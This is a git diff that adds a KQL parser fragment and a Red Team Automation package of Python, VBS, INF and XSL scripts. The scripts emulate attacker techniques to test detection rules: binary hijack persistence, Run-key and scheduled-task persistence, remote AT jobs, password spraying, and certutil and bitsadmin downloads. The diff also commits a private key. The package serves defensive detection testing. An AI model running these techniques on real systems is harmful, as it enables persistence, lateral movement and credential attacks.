self.assert_lower_token(*tree.child_tokens) + return OrValues([self.visit(t) for t in tree.child_trees]) + + def and_list_of_values(self, tree): + self.assert_lower_token(*tree.child_tokens) + return AndValues([self.visit(t) for t in tree.child_trees]) + + def not_list_of_values(self, tree): + self.assert_lower_token(*tree.child_tokens) + return NotValue(self.visit(tree.children[-1])) + + def literal(self, tree): + return self.unescape_literal(tree.children[0]) + + def field(self, tree): + literal = self.visit(tree.children[0]) + return Field(eql.utils.to_unicode(literal)) + + def value(self, tree): + if self.scoped_field is None: + raise self.error(tree, "Value not tied to field") + + field_name = self.scoped_field.name + token = tree.children[0] + value = self.unescape_literal(token) + + if token.type == "UNQUOTED_LITERAL" and "*" in token.value: + field_type = self.get_field_type(field_name) + if len(value.replace("*", "")) == 0: + return Exists() + + if field_type is not None and field_type not in ("keyword", "wildcard"): + raise self.error(tree, "Unable to perform wildcard on field {field} of {type}", + field=field_name, type=field_type) + + return Wildcard(token.value) + + # try to convert the value to the appropriate type + # example: 1 -> "1" if the field is actually keyword + value = self.convert_value(field_name, value, tree) + return Value.from_python(value) + + +def lark_parse(text): + if not text.strip(): + raise KqlParseError("No query provided", 0, 0, "") + + walker = BaseKqlParser(text) + + try: + return lark_parser.parse(text) + except UnexpectedEOF: + raise KqlParseError("Unexpected EOF", len(walker.lines), len(walker.lines[-1].strip()), walker.lines[-1]) + except LarkError as exc: + raise KqlParseError("Invalid syntax", exc.line - 1, exc.column - 1, + '\n'.join(walker.lines[exc.line - 2:exc.line])) diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 000000000..fed528d4a --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,3 @@ +[build-system] +requires = ["setuptools"] +build-backend = "setuptools.build_meta" diff --git a/requirements-dev.txt b/requirements-dev.txt new file mode 100644 index 000000000..c8331448d --- /dev/null +++ b/requirements-dev.txt @@ -0,0 +1 @@ +PyGithub==1.55 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 000000000..077a9cabb --- /dev/null +++ b/requirements.txt @@ -0,0 +1,20 @@ +jsl==0.2.4 +pytoml +toml==0.10.0 +requests==2.22.0 +Click==7.0 +PyYAML~=5.3 +eql==0.9.12 +elasticsearch~=7.9 +XlsxWriter~=1.3.6 +marshmallow~=3.13.0 +marshmallow-dataclass[union]~=8.5.3 + +# test deps +pyflakes==2.2.0 +flake8==3.8.1 +pep8-naming==0.7.0 +pytest>=3.6 +jsonschema==3.2.0 +marshmallow-jsonschema~=0.12.0 +marshmallow-union~=0.1.15 # needed for marshmallow-jsonschema diff --git a/rta/README.md b/rta/README.md new file mode 100644 index 000000000..f6608570f --- /dev/null +++ b/rta/README.md @@ -0,0 +1,25 @@ +## Red Team Automation + +[![Supported Python versions](https://img.shields.io/badge/python-3.7+-yellow.svg)](https://www.python.org/downloads/) +[![Chat](https://img.shields.io/badge/chat-%23security--detection--rules-blueviolet)](https://ela.st/slack) + +The repo comes with some red team automation ([RTA](./)) python scripts that run on Windows, Mac OS, and \*nix. +RTA scripts emulate known attacker behaviors and are an easy way too verify that your rules are active and working as expected. + +```console +$ python -m rta -h +usage: rta [-h] ttp_name + +positional arguments: + ttp_name + +optional arguments: + -h, --help show this help message and exit +``` +`ttp_name` can be found in the [rta](.) directory. For example to execute `./rta/wevtutil_log_clear.py` script, run command: + +```console +$ python -m rta wevtutil_log_clear +``` + +Most of the RTA scripts contain a comment with the rule name, in `signal.rule.name`, that maps to the Kibana Detection Signals. diff --git a/rta/__init__.py b/rta/__init__.py new file mode 100644 index 000000000..08e649e33 --- /dev/null +++ b/rta/__init__.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import glob +import importlib +import os + +from . import common + +CURRENT_DIR = os.path.dirname(os.path.abspath(__file__)) + + +def get_ttp_list(os_types=None): + scripts = [] + if os_types and not isinstance(os_types, (list, tuple)): + os_types = [os_types] + + for script in sorted(glob.glob(os.path.join(CURRENT_DIR, "*.py"))): + base_name, _ = os.path.splitext(os.path.basename(script)) + if base_name not in ("common", "main") and not base_name.startswith("_"): + if os_types: + # Import it and skip it if it's not supported + importlib.import_module(__name__ + "." + base_name) + if not any(base_name in common.OS_MAPPING[os_type] for os_type in os_types): + continue + + scripts.append(script) + + return scripts + + +def get_ttp_names(os_types=None): + names = [] + for script in get_ttp_list(os_types): + basename, ext = os.path.splitext(os.path.basename(script)) + names.append(basename) + return names + + +__all__ = ( + "common" +) diff --git a/rta/__main__.py b/rta/__main__.py new file mode 100644 index 000000000..b57d7db37 --- /dev/null +++ b/rta/__main__.py @@ -0,0 +1,22 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import argparse +import importlib +import os + +from . import get_ttp_names + +parser = argparse.ArgumentParser("rta") +parser.add_argument("ttp_name") + +parsed_args, remaining = parser.parse_known_args() +ttp_name, _ = os.path.splitext(os.path.basename(parsed_args.ttp_name)) + +if ttp_name not in get_ttp_names(): + raise ValueError("Unknown RTA {}".format(ttp_name)) + +module = importlib.import_module("rta." + ttp_name) +exit(module.main(*remaining)) diff --git a/rta/adobe_hijack.py b/rta/adobe_hijack.py new file mode 100644 index 000000000..f17327164 --- /dev/null +++ b/rta/adobe_hijack.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Adobe Hijack Persistence +# RTA: adobe_hijack.py +# ATT&CK: T1044 +# Description: Replaces PE file that will run on Adobe Reader start. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + rdr_cef_dir = "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" + rdrcef_exe = os.path.join(rdr_cef_dir, "RdrCEF.exe") + cmd_path = "C:\\Windows\\System32\\cmd.exe" + backup = os.path.abspath("xxxxxx") + backedup = False + + # backup original if it exists + if os.path.isfile(rdrcef_exe): + common.log("{} already exists, backing up file.".format(rdrcef_exe)) + common.copy_file(rdrcef_exe, backup) + backedup = True + else: + common.log("{} doesn't exist. Creating path.".format(rdrcef_exe)) + os.makedirs(rdr_cef_dir) + + # overwrite original + common.copy_file(cmd_path, rdrcef_exe) + + # cleanup + if backedup: + common.log("Putting back backup copy.") + common.copy_file(backup, rdrcef_exe) + os.remove(backup) + else: + common.remove_file(rdrcef_exe) + os.removedirs(rdr_cef_dir) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/appcompat_shim.py b/rta/appcompat_shim.py new file mode 100644 index 000000000..71dcabc87 --- /dev/null +++ b/rta/appcompat_shim.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Application Compatibility Shims +# RTA: appcompat_shim.py +# ATT&CK: T1138 +# Description: Use sdbinst.exe to install a binary patch/application shim. + +import time + +from . import common + +SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(SHIM_FILE) +def main(): + common.log("Application Compatibility Shims") + + common.execute(["sdbinst.exe", "-q", "-p", SHIM_FILE]) + time.sleep(2) + + common.log("Removing installed shim", log_type="-") + common.execute(["sdbinst.exe", "-u", SHIM_FILE]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/at_command.py b/rta/at_command.py new file mode 100644 index 000000000..083ad1bc7 --- /dev/null +++ b/rta/at_command.py @@ -0,0 +1,58 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: AT Command Lateral Movement +# RTA: at_command.py +# ATT&CK: T1053 +# Description: Enumerates at tasks on target host, and schedules an at job for one hour in the future. Then checks the +# status of that task, and deletes the task. + +import datetime +import re +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(target_host=None): + target_host = target_host or common.get_ip() + host_str = '\\\\%s' % target_host + + # Current time at \\localhost is 11/16/2017 11:25:50 AM + code, output = common.execute(['net', 'time', host_str]) + match = re.search(r'Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)', output) + groups = match.groups() + m, d, y, hh, mm, ss, period = groups + now = datetime.datetime(month=int(m), day=int(d), year=int(y), hour=int(hh), minute=int(mm), second=int(ss)) + if period == 'PM' and hh != '12': + now += datetime.timedelta(hours=12) + + # Add one hour + task_time = now + datetime.timedelta(hours=1) + + # Round down minutes + time_string = '%d:%d' % (task_time.hour, task_time.minute) + + # Enumerate all remote tasks + common.execute(['at.exe', host_str]) + + # Create a job 1 hour into the future + code, output = common.execute(['at', host_str, time_string, 'cmd /c echo hello world']) + + if code == 1 and 'deprecated' in output: + common.log("Unable to continue RTA. Not supported in this version of Windows") + return common.UNSUPPORTED_RTA + + if code == 0: + job_id = re.search('ID = (\d+)', output).group(1) + + # Check status and delete + common.execute(['at.exe', host_str, job_id]) + common.execute(['at.exe', host_str, job_id, '/delete']) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/bin/BadTasks.csproj b/rta/bin/BadTasks.csproj new file mode 100644 index 000000000..4caf2ac13 --- /dev/null +++ b/rta/bin/BadTasks.csproj @@ -0,0 +1,65 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rta/bin/Installer.msi b/rta/bin/Installer.msi new file mode 100644 index 000000000..bc6b4d0dd Binary files /dev/null and b/rta/bin/Installer.msi differ diff --git a/rta/bin/PsRunner.exe b/rta/bin/PsRunner.exe new file mode 100644 index 000000000..03b2bcb54 Binary files /dev/null and b/rta/bin/PsRunner.exe differ diff --git a/rta/bin/PsRunner_LICENSE b/rta/bin/PsRunner_LICENSE new file mode 100644 index 000000000..e1ac234e5 --- /dev/null +++ b/rta/bin/PsRunner_LICENSE @@ -0,0 +1,14 @@ +PowerSploit is provided under the 3-clause BSD license below. + +************************************************************* + +Copyright (c) 2012, Matthew Graeber +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/rta/bin/TrustProvider32.dll b/rta/bin/TrustProvider32.dll new file mode 100644 index 000000000..9302596dd Binary files /dev/null and b/rta/bin/TrustProvider32.dll differ diff --git a/rta/bin/TrustProvider64.dll b/rta/bin/TrustProvider64.dll new file mode 100644 index 000000000..cfdee715a Binary files /dev/null and b/rta/bin/TrustProvider64.dll differ diff --git a/rta/bin/__init__.py b/rta/bin/__init__.py new file mode 100644 index 000000000..e56d61909 --- /dev/null +++ b/rta/bin/__init__.py @@ -0,0 +1,5 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + diff --git a/rta/bin/beacon.hta b/rta/bin/beacon.hta new file mode 100644 index 000000000..659ed06dc --- /dev/null +++ b/rta/bin/beacon.hta @@ -0,0 +1,11 @@ + + + + + diff --git a/rta/bin/cscript.xsl b/rta/bin/cscript.xsl new file mode 100644 index 000000000..b7d7a44c2 --- /dev/null +++ b/rta/bin/cscript.xsl @@ -0,0 +1,21 @@ + + + + + +function xml(nodelist) +{ + var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0"); + xhr.open("GET","http://127.0.0.1:8000",false); + xhr.send(); + + return nodelist.nextNode().xml; +} + + + + + diff --git a/rta/bin/customers.xml b/rta/bin/customers.xml new file mode 100644 index 000000000..4fc41b93d --- /dev/null +++ b/rta/bin/customers.xml @@ -0,0 +1,14 @@ + + + + + John Smith +
123 Elm St.
+ (123) 456-7890 +
+ + Mary Jones +
456 Oak Ave.
+ (156) 789-0123 +
+
diff --git a/rta/bin/myapp.exe b/rta/bin/myapp.exe new file mode 100644 index 000000000..e72b904fe Binary files /dev/null and b/rta/bin/myapp.exe differ diff --git a/rta/bin/myapp_x64.exe b/rta/bin/myapp_x64.exe new file mode 100644 index 000000000..941ec8e74 Binary files /dev/null and b/rta/bin/myapp_x64.exe differ diff --git a/rta/bin/mydll.dll b/rta/bin/mydll.dll new file mode 100644 index 000000000..b29ebb983 Binary files /dev/null and b/rta/bin/mydll.dll differ diff --git a/rta/bin/mydll_x64.dll b/rta/bin/mydll_x64.dll new file mode 100644 index 000000000..14cebf890 Binary files /dev/null and b/rta/bin/mydll_x64.dll differ diff --git a/rta/bin/mydotnet.exe b/rta/bin/mydotnet.exe new file mode 100644 index 000000000..54692dda1 Binary files /dev/null and b/rta/bin/mydotnet.exe differ diff --git a/rta/bin/mydotnet.tlb b/rta/bin/mydotnet.tlb new file mode 100644 index 000000000..5044347f8 Binary files /dev/null and b/rta/bin/mydotnet.tlb differ diff --git a/rta/bin/myservice32.dll b/rta/bin/myservice32.dll new file mode 100755 index 000000000..d42f6d6a0 Binary files /dev/null and b/rta/bin/myservice32.dll differ diff --git a/rta/bin/myservice64.dll b/rta/bin/myservice64.dll new file mode 100644 index 000000000..326417d4a Binary files /dev/null and b/rta/bin/myservice64.dll differ diff --git a/rta/bin/notepad.sct b/rta/bin/notepad.sct new file mode 100644 index 000000000..649414204 --- /dev/null +++ b/rta/bin/notepad.sct @@ -0,0 +1,12 @@ + + + + + + diff --git a/rta/bin/persistent_script.vbs b/rta/bin/persistent_script.vbs new file mode 100644 index 000000000..f7e998842 --- /dev/null +++ b/rta/bin/persistent_script.vbs @@ -0,0 +1,123 @@ +dim shellobj +dim fs +dim logFile + +set fs = CreateObject("Scripting.FileSystemObject") +set shellObj = WScript.CreateObject("wscript.shell") + +name = "rta-vbs-persistence" +logPath = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & ".log" + +set logFile = fs.OpenTextFile(logPath, 8, True) + +startupDir = shellObj.SpecialFolders("Startup") +shortcutLink = startupDir & "\" & name & "-startup.lnk" + +startupTarget = startupDir & "\" & name & "-startup.vbs" +shortcutTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-startup-shortcut.vbs" +taskTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-task.vbs" +runTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-run-key.vbs" + +runKey = "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & name + + +function log(logType, message) + line = "[" & logType & "] " & wscript.ScriptName & " - " & message + ' WScript.Echo line + logFile.WriteLine line +end function + +function logLine + logFile.WriteLine "" +end function + + +'Add self logging functions +function copyScript(target) + log "+", "Copying " & wscript.ScriptFullName & " to " & target + fs.CopyFile wscript.ScriptFullName, target, true +end function + +function deleteFile(path) + log "-", "Deleting " & path + fs.DeleteFile(path) +end function + +function run(command) + log ">", command + errorCode = shellObj.Run(command, 0, True) + if errorCode <> 0 then + log ">", "exit code = " & errorCode + end if +end function + +function deleteScript() + deleteFile wscript.ScriptFullName +end function + + +log "=", "Started" + +'Establish persistence or remove persistence after the first execution +if wscript.ScriptFullName = shortcutTarget then + 'Check if this is running and came from a shortcut + log "+", "Running from a shortcut target" + deleteScript + deleteFile shortcutLink + +elseif wscript.ScriptFullName = startupTarget then + 'Delete the file + log "+", "Running from the startup folder directly" + deleteScript + +elseif wscript.ScriptFullName = taskTarget then + 'Remove the task and the file + log "+", "Running as a scheduled task" + deleteScript + run "schtasks.exe /delete /f /tn " & name + +elseif wscript.ScriptFullName = runTarget then + 'Remove the registry key and the file + log "+", "Running as a run item" + deleteScript + log "-", "Removing registry key " & runKey + shellObj.RegDelete runKey + +else + 'Copy the file to a few locations + dim shortcut + log "+", "Establish Persistence" & crlf + + + 'Copy to the StartUp directory + log "+", "Startup File" + copyScript startupTarget + logLine + + 'Create a shortcut in the StartUp directory + log "+", "Startup Shortcut" + copyScript shortcutTarget + set shortcut = shellObj.CreateShortcut(shortcutLink) + shortcut.TargetPath = "wscript.exe" + shortcut.Arguments = "//B " & chrw(34) & shortcutTarget & chrw(34) + shortcut.save() + logLine + + 'Create a scheduled task + log "-", "Scheduled Task" & crlf + copyScript taskTarget + run "schtasks.exe /create /f /sc onlogon /tn " & name & " /tr " & chrw(34) & "wscript.exe //B " & ("\" & chrw(34)) & runTarget & ("\" & chrw(34)) & chrw(34) + logLine + + 'Create the run key + log "+", "Run Key via Registry" + copyScript runTarget + shellObj.RegWrite runKey, "wscript.exe //B " & chrw(34) & runTarget & chrw(34), "REG_SZ" + logLine + +end if + +log "-", "Exiting" +logFile.WriteLine "" +logFile.WriteLine "" +logFile.Close() \ No newline at end of file diff --git a/rta/bin/privkey.pem b/rta/bin/privkey.pem new file mode 100644 index 000000000..4c115a44f --- /dev/null +++ b/rta/bin/privkey.pem @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAuy7HkecTrKhGuZW7/KugrrUNmNGPjvZGXTpGJIb3ycU5KSNk +VutDTpjL6QpqJc4O/2J77lEjGsx+H+CUcrXSK5cSifD5Qd73ZRM6wnfulpUBKJoi +LasX7umpRtx/xwOQGvDBBYvB6QVhvmlisqkhRIZLphi4qxfBJ1+RzfsG8JNvDmvl +tkEogGMaj5rVplbhKycSkuqflEF+tuhnSCiLgAAyFcFzhDp1sJP7mHf0RX1qxGtq +1e+OduZxA8omDB3urvZ+3smCnEgYk920Ikbzs5zEjwHMgh6mtqLLO1xLOefTFWUM ++i6z05mowdi3l3e26LOQLhHftBxh88W41b60mwIDAQABAoIBACyJ4v66hxnsKHf8 +QvDKPb+UYRnds1UHEJMaTJpgaxFdlk5Nl5B/BlLrVIms6rj4IOVvn6GDOOEli1U2 +cNwim1G37rdX2VdtIFyyiKbBNsopxk7M7hkDvvwgKSEtUlIebOmcI7GYIZm6qBlQ +piVwzPOrKNDqzPYY/uLJgL4MXwhbBDzgi4qsNOFol05r0YISiHxI3CRmk0zFQnwr +xIIg4WR6NbWKVp/CLfGrJFwE0wG9J1D3xf3hclHKEmOCuEI0PuGQqH7gwzfPxCT5 +kzfi513iqTRvxwn0euUY9qqHZNuMoW3p7oGvObgZhRmN1qlE5kmN1moZhlcQuIkr +enhCVCECgYEA378gwqZdsWLinMwScSDNz3WAc8rThwdB3qz3cBRFWFV0/qlMLxpC +ne+kSBekym3vNK4ZWJf6XHpVodHGB3mSVOCGAgziEy5nlVtoO64qQoa6gTDAjdEv +eGh27lEresi3MiP9JHE7TN3nwcjlpuRfnutqgnlVJeVmwasDB/E2vGkCgYEA1ipX +5vUZz7z7LU5VNPskn5naGHkuLrlQaCqKWdXMOXsOoP3w4Z4PptWzroa/i5O4OGqV +2x7wkAAa73oqRnt8+OTwCxfzBhdQDCfIw9joZrJiCCbqNny8zQcXBI2AcdWaI2m3 +jfzKXtxtCAz2WFLE1g2RjLSjw/F2XPpjN9daGGMCgYBa7ueWlFyhuimVRg78sTNT +7FJPPRBo4Vcw86UAhQyF0P1iflW7EvYeEAX5UrqjlrhP9a3RZrrWmNVylbng0dTZ +8AImlSvQVdy9Q9AB6U+9h9oGpVSsjma3jeVAB/ceyLJDi4LXK7nJDKqjBE3pXQlL +oivAaSVk6G2xqhnqQWtYeQKBgQDRWuk888J8qc+cNWPj+9GMVzi1DdjQggURHuzJ +7s7KLfpZ9IPB+eJxA5y3ci/SwN+n/sFpR3CARCoQigrDhbngEOR647mE7cspZsbC +dMqSgbSFJY11IDDr+A9POwghv14DWje+DCzD2JSY9xrlsluKqA7tTjR8uhEryPSu +xMzk4wKBgCufVxHkqM1wWF8Mt80YIluTx+NJSx8UF8TCYeeJimO0MAPMp7u9mSSh +upElHcfKf2fnACO8IHuDMx6luAo+BAdSzOtkERK9rwJ5y0Ktef58MhuMY8jmKKrD +NcKPu3VXnLZ6Gc3qF2Kiy2Qqz0sNqtDsr9L1c9To55GeJ4uZt0BU +-----END RSA PRIVATE KEY----- diff --git a/rta/bin/script_launch.inf b/rta/bin/script_launch.inf new file mode 100644 index 000000000..7a73ad5a2 --- /dev/null +++ b/rta/bin/script_launch.inf @@ -0,0 +1,8 @@ +[Version] +Signature=$CHICAGO$ + +[DefaultInstall] +UnregisterDlls = Squiblydoo + +[Squiblydoo] +11,,scrobj.dll,2,60,http://127.0.0.1:8000/bin/notepad.sct diff --git a/rta/bin/trustprovider_LICENSE b/rta/bin/trustprovider_LICENSE new file mode 100644 index 000000000..87b0bfe8a --- /dev/null +++ b/rta/bin/trustprovider_LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2017, Matt Graeber +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/rta/bitsadmin_download.py b/rta/bitsadmin_download.py new file mode 100644 index 000000000..39c7c6a7f --- /dev/null +++ b/rta/bitsadmin_download.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Suspicious BitsAdmin Download File +# RTA: bitsadmin_download.py +# ATT&CK: T1197 +# Description: Runs BitsAdmin to download file via command line. + + +import os +import subprocess + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Running Windows BitsAdmin to Download") + server, ip, port = common.serve_web() + url = "http://" + ip + ":" + str(port) + "/bin/myapp.exe" + dest_path = os.path.abspath("myapp-test.exe") + fake_word = os.path.abspath("winword.exe") + + common.log("Emulating parent process: {parent}".format(parent=fake_word)) + common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word) + + command = subprocess.list2cmdline(['bitsadmin.exe', '/Transfer', '/Download', url, dest_path]) + common.execute([fake_word, "/c", command], timeout=15, kill=True) + common.execute(['taskkill', '/f', '/im', 'bitsadmin.exe']) + + common.remove_files(dest_path, fake_word) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/brute_force_login.py b/rta/brute_force_login.py new file mode 100644 index 000000000..00b4a7684 --- /dev/null +++ b/rta/brute_force_login.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Brute Force Login Attempts +# RTA: brute_force_login.py +# ATT&CK: T1110 +# Description: Simulates brute force or password spraying tactics. +# Remote audit failures must be enabled to trigger: `auditpol /set /subcategory:"Logon" /failure:enable` + +import random +import string +import sys +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(username="rta-tester", remote_host=None): + if not remote_host: + common.log('A remote host is required to detonate this RTA', '!') + return common.MISSING_REMOTE_HOST + + common.enable_logon_auditing(remote_host) + + common.log('Brute forcing login with invalid password against {}'.format(remote_host)) + ps_command = ''' + $PW = ConvertTo-SecureString "such-secure-passW0RD!" -AsPlainText -Force + $CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW + Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS + ''' + command = ['powershell', '-c', ps_command.format(username=username, host=remote_host)] + + # fail 4 times - the first 3 concurrently and wait for the final to complete + for i in range(4): + common.execute(command, wait=i == 3) + + time.sleep(1) + + common.log('Password spraying against {}'.format(remote_host)) + + # fail 5 times - the first 4 concurrently and wait for the final to complete + for i in range(5): + random_user = ''.join(random.sample(string.ascii_letters, 10)) + command = ['powershell', '-c', ps_command.format(username=random_user, host=remote_host)] + common.execute(command, wait=i == 4) + + # allow time for audit event to process + time.sleep(2) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/certutil_file_obfuscation.py b/rta/certutil_file_obfuscation.py new file mode 100644 index 000000000..ed1e2806e --- /dev/null +++ b/rta/certutil_file_obfuscation.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Certutil Encode / Decode +# RTA: certutil_file_obfuscation.py +# ATT&CK: T1140 +# signal.rule.name: Encoding or Decoding Files via CertUtil +# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Encoding target") + encoded_file = os.path.abspath('encoded.txt') + decoded_file = os.path.abspath('decoded.exe') + common.execute(["c:\\Windows\\System32\\certutil.exe", "-encode", "c:\\windows\\system32\\cmd.exe", encoded_file]) + + common.log("Decoding target") + common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file]) + + common.log("Cleaning up") + common.remove_file(encoded_file) + common.remove_file(decoded_file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/certutil_webrequest.py b/rta/certutil_webrequest.py new file mode 100644 index 000000000..c76f4a2e3 --- /dev/null +++ b/rta/certutil_webrequest.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# Name: Downloading Files With Certutil +# RTA: certutil_webrequest.py +# ATT&CK: T1105 +# Description: Uses certutil.exe to download a file. + +from . import common + +MY_DLL = common.get_path("bin", "mydll.dll") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_DLL) +def main(): + # http server will terminate on main thread exit + # if daemon is True + server, ip, port = common.serve_web() + + uri = "bin/mydll.dll" + target_file = "mydll.dll" + common.clear_web_cache() + url = "http://{ip}:{port}/{uri}".format(ip=ip, port=port, uri=uri) + common.execute(["certutil.exe", "-urlcache", "-split", "-f", url, target_file]) + + server.shutdown() + common.remove_file(target_file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/common.py b/rta/common.py new file mode 100644 index 000000000..c7a4d06a1 --- /dev/null +++ b/rta/common.py @@ -0,0 +1,634 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from __future__ import unicode_literals, print_function + +import binascii +import contextlib +import functools +import getpass +import inspect +import os +import re +import shutil +import socket +import subprocess +import sys +import tempfile +import threading +import time + +try: + from SimpleHTTPServer import SimpleHTTPRequestHandler +except ImportError: + from http.server import SimpleHTTPRequestHandler +try: + from SocketServer import TCPServer +except ImportError: + from http.server import HTTPServer as TCPServer + +to_unicode = type(u"") +long_t = type(1 << 63) +strings = str, type(u"") + +HOSTNAME = socket.gethostname() +LOCAL_IP = None + + +def get_ip(): + global LOCAL_IP, HOSTNAME + + if LOCAL_IP is None: + try: + LOCAL_IP = socket.gethostbyname(HOSTNAME) + 